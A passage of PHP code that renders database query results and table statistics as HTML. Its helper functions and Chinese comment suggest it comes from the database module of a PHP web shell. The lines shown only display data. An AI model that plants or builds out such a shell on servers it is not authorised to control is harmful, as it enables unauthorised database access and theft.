} else { while ($mn = $DB->fetch($result)) { $thisbg = bg(); p('<tr class="' . $thisbg . '" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'' . $thisbg . '\';">'); //读取记录用 foreach ($mn as $key => $inside) { p('<td nowrap>' . ($inside == null ? '<i>null</i>' : html_clean($inside)) . '</td>'); } p('</tr>'); unset($b1); } } p('</table>'); break; case 2: p('<h2>Affected Rows : ' . $DB->affected_rows() . '</h2>'); break; } } } } else { $query = $DB->query("SHOW TABLE STATUS"); $table_num = $table_rows = $data_size = 0; $tabledb = array(); while ($table = $DB->fetch($query)) { $data_size = $data_size + $table['Data_length']; $table_rows = $table_rows + $table['Rows']; $table_num++; $tabledb[] = $table; } $data_size = sizecount($data_size);